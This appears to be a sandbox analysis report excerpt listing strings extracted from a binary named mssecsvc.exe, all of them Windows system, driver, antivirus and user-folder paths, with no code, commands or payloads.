              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\gpprnext.dll
              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_us.lngp
              Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\disk.inf_loc
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\adpahci.sys
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\ndisuio.PNFT`
              Source: mssecsvc.exe.2.drBinary string: j\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpagent.log.1
              Source: mssecsvc.exe.2.drBinary string: q\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentp
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\winsxs\FileMapsp
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\wbem\WmiPrvSE.exe
              Source: mssecsvc.exe.2.drBinary string: m\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\fvevol.sys.muip
              Source: mssecsvc.exe.2.drBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.001H
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\wbengine.exe&
              Source: mssecsvc.exe.2.drBinary string: h\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\fixcfg.log.lockp
              Source: mssecsvc.exe.2.drBinary string: 0\Device\HarddiskVolume2\Windows\inf\usbvideo.PNF
              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Program Files\AVG\Av\avg_ru.lng>"
              Source: mssecsvc.exe.2.drBinary string: .\Device\HarddiskVolume2\Windows\inf\wfplwf.PNF
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\cmdide.sysh
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\Performance\WinSAT
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\nfrd960.sys
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\WebClnt.dllG
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\fdPHost.dll
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\bthmodem.sys
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cdrom.inf_locp
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Backup-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: z\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.236.gthr
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\HpSAMD.sys01CP
              Source: mssecsvc.exe.2.drBinary string: f\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\megasas.sysPD
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_loc
              Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Windows\System32\appidcertstorecheck.exezI
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\en{STSp
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\blbdrive.inf_locH
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vsmraid.sysp
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\rasmans.dll
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\usbmon.dll
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netnwifi.inf_locPCF
              Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs1
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SnippingTool-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Windows Error ReportingPU
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\Temp\avg_a04392p
              Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibilityum
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\sffp_sd.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NFS-ClientSKU-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\inf\disk.PNFH
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SUA-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catleP
              Source: mssecsvc.exe.2.drBinary string: T\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\av16p
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\msdtc.exe}SDTL
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sys
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\aelupsvc.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010002.dirp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\00010001.ciT
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasCMAK-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\dfsvc.exe
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\tssecsrv.sys
              Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Windows\System32\Speech\SpeechUX\sapi.cpl
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\modem.sysTEMPb
              Source: mssecsvc.exe.2.drBinary string: L\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\/
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\vms3cap.sysST
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\wacompen.sysp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\sbp2port.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\cmdide.sysLNKH
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\FntCache.dll
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\tdtcp.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\nvraid.sys
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\msdtckrm.dll
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\amdsata.sys
              Source: mssecsvc.exe.2.drBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.000H
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Program Files\AVG\Setup\avgsetupx.exep
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: D\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\amdk8.sys.muiL
              Source: mssecsvc.exe.2.drBinary string: +\Device\HarddiskVolume2\Windows\System32\ru{PDC
              Source: mssecsvc.exe.2.drBinary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\AVG\AV\cfgall\fixcfg.lockH8H
              Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\NlsData0019.dllp
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Users\Public\Documents\desktop.ini
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SystemRestore-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: Q\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\AVG
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\bxvbdx.sys
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\mprdim.dll
              Source: mssecsvc.exe.2.drBinary string: r\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\CTLsp
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\auditcse.dll
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\tbssvc.dllSTE
              Source: mssecsvc.exe.2.drBinary string: W\Device\HarddiskVolume2\Windows\System32\catroot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\wacompen.sys
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\usb.inf_locp
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\NV_AGP.SYSH
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Modem-Drivers-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catH
              Source: mssecsvc.exe.2.drBinary string: I\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\lltdio.inf_locp
              Source: mssecsvc.exe.2.drBinary string: 7\Device\HarddiskVolume2\Windows\System32\drivers\wd.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\SISAGP.SYS
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ParentalControls-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\Fonts\segoeuii.ttfp
              Source: mssecsvc.exe.2.drBinary string: M\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Task Manager
              Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\inf\oem2.PNFp
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\DriverStore\en-USC
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\wecsvc.dll
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\modem.sysCu|
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\TabSvc.dll
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\advpack.dll
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\blackbox.dll
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\ncobjapi.dllp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Sensors-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: ,\Device\HarddiskVolume2\Windows\inf\oem9.PNF;
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MobilePC-Client-Basic-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\ProgramData\Avg\log\AV16\history.xml
              Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\ProgramData\Avg\AV\Chjw\avgpsi.db-journal
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printer-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\msdsm.sysh
              Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\sqlceqp30.dll
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\netserv.PNFTMP8p
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-HomeBasicEdition-wrapper~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\ehome\ehsched.exe
              Source: mssecsvc.exe.2.drBinary string: J\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netserv.inf_loc\ra
              Source: mssecsvc.exe.2.drBinary string: x\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\CiPT0000.002
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\inf\volsnap.PNFR07
              Source: mssecsvc.exe.2.drBinary string: `\Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows~p
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Shell-PremiumInboxGames-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catI
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\volmgrx.sys.muip
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Telnet-Server-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: C\Device\HarddiskVolume2\Program Files\AVG\UiDll\2623\icudtl.dat.zfsp
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: @\Device\HarddiskVolume2\Program Files\Windows Defender\MpSvc.dll
              Source: mssecsvc.exe.2.drBinary string: K\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\netsstpt.inf_loc
              Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\ru-RU\AMDAGP.SYS.mui
              Source: mssecsvc.exe.2.drBinary string: X\Device\HarddiskVolume2\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}t$p
              Source: mssecsvc.exe.2.drBinary string: e\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\Windows\System32\drivers\rdpvideominiport.sys
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\qwavedrv.sys
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\VMBusHID.sys
              Source: mssecsvc.exe.2.drBinary string: 8\Device\HarddiskVolume2\Windows\System32\drivers\arc.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasCMAK-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: s\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFilesp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\asyncmac.sys
              Source: mssecsvc.exe.2.drBinary string: g\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\AVG\AV\cfgall\fixcfg.lockc
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\wmiacpi.sys
              Source: mssecsvc.exe.2.drBinary string: E\Device\HarddiskVolume2\ProgramData\Microsoft\Network\Connections\Pbk
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\AtBroker.exe
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CodecPack-Basic-Encoder-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: c\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgemc.log
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\0001000F.diroV
              Source: mssecsvc.exe.2.drBinary string: O\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe5E
              Source: mssecsvc.exe.2.drBinary string: N\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\SystemRestore
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\hal.inf_loc
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\drivers\mshidkmdf.sysA
              Source: mssecsvc.exe.2.drBinary string: B\Device\HarddiskVolume2\Windows\System32\LocationNotifications.exe\/
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GPUPipeline-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catH
              Source: mssecsvc.exe.2.drBinary string: #\Device\HarddiskVolume2\Windows\infS
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\mrxdav.sysD
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\Prefetch\AVGUI.EXE-77A07B37.pfU0_PPCp
              Source: mssecsvc.exe.2.drBinary string: q\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\BrSerWdm.sys
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RasRip-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: z\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\AxInstSv.dll
              Source: mssecsvc.exe.2.drBinary string: g\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\servicing\TrustedInstaller.exeAP7PDC
              Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe
              Source: mssecsvc.exe.2.drBinary string: 2\Device\HarddiskVolume2\Windows\System32\VSSVC.exeSU
              Source: mssecsvc.exe.2.drBinary string: h\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\av16\avgidpdrv.log.2H
              Source: mssecsvc.exe.2.drBinary string: F\Device\HarddiskVolume2\Windows\System32\DriverStore\ru-RU\cpu.inf_loc
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Format-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\System32\pots.dllp
              Source: mssecsvc.exe.2.drBinary string: z\Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
              Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: \\Device\HarddiskVolume2\Windows\System32\ru-RU\microsoft-windows-kernel-power-events.dll.mui
              Source: mssecsvc.exe.2.drBinary string: t\Device\HarddiskVolume2\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.inim
              Source: mssecsvc.exe.2.drBinary string: k\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exeta
              Source: mssecsvc.exe.2.drBinary string: 4\Device\HarddiskVolume2\Windows\System32\dot3svc.dllPN
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\rdpdr.sysw
              Source: mssecsvc.exe.2.drBinary string: 3\Device\HarddiskVolume2\Windows\System32\tquery.dll
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\pnrpauto.dll
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\b57nd60x.sys
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\winusb.sysiv
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SnippingTool-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat0H
              Source: mssecsvc.exe.2.drBinary string: U\Device\HarddiskVolume2\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\gpscript.dll
              Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Windows\System32\config\systemprofile\Favorites3
              Source: mssecsvc.exe.2.drBinary string: 1\Device\HarddiskVolume2\Windows\System32\qmgr.dll
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.catp
              Source: mssecsvc.exe.2.drBinary string: =\Device\HarddiskVolume2\Windows\System32\drivers\scfilter.sys
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\upnphost.dll
              Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume2\Program Files\Common Files\AV\avast! Antivirus\userdata.cab0_TS
              Source: mssecsvc.exe.2.drBinary string: A\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\hidbatt.sysL
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\IPMIDrv.sysm
              Source: mssecsvc.exe.2.drBinary string: G\Device\HarddiskVolume2\Program Files\Windows Media Player\setup_wm.exe
              Source: mssecsvc.exe.2.drBinary string: H\Device\HarddiskVolume2\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc
              Source: mssecsvc.exe.2.drBinary string: <\Device\HarddiskVolume2\Windows\System32\drivers\hidbatt.sysL$
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Windows\System32\lpremove.exep
              Source: mssecsvc.exe.2.drBinary string: i\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\fmw1\avgmsgdisp.log.2
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\viaide.systo
              Source: mssecsvc.exe.2.drBinary string: i\Device\HarddiskVolume2\Windows\System32\config\systemprofile\AppData\Local\Avg\log\fmw1\avgmsgdisp.log.3
              Source: mssecsvc.exe.2.drBinary string: ;\Device\HarddiskVolume2\Windows\System32\drivers\hidbth.sys<\
              Source: mssecsvc.exe.2.drBinary string: >\Device\HarddiskVolume2\Windows\System32\gatherNetworkInfo.vbs1
              Source: mssecsvc.exe.2.drBinary string: 6\Device\HarddiskVolume2\Windows\System32\IPBusEnum.dll
              Source: mssecsvc.exe.2.drBinary string: P\Device\HarddiskVolume2\Program Files\Common Files\AV\AVG AntiVirus Free EditionU4
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Shell-MultiplayerInboxGames-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\djsvs.sysD
              Source: mssecsvc.exe.2.drBinary string: 5\Device\HarddiskVolume2\Users\
              Source: mssecsvc.exe.2.drBinary string: :\Device\HarddiskVolume2\Windows\System32\drivers\vmbus.sys
              Source: mssecsvc.exe.2.drBinary string: S\Device\HarddiskVolume3\$RECYCLE.BIN\S-1-5-21-1870734524-1274666089-2119431859-1000H
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-Publishing-WMIProvider-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
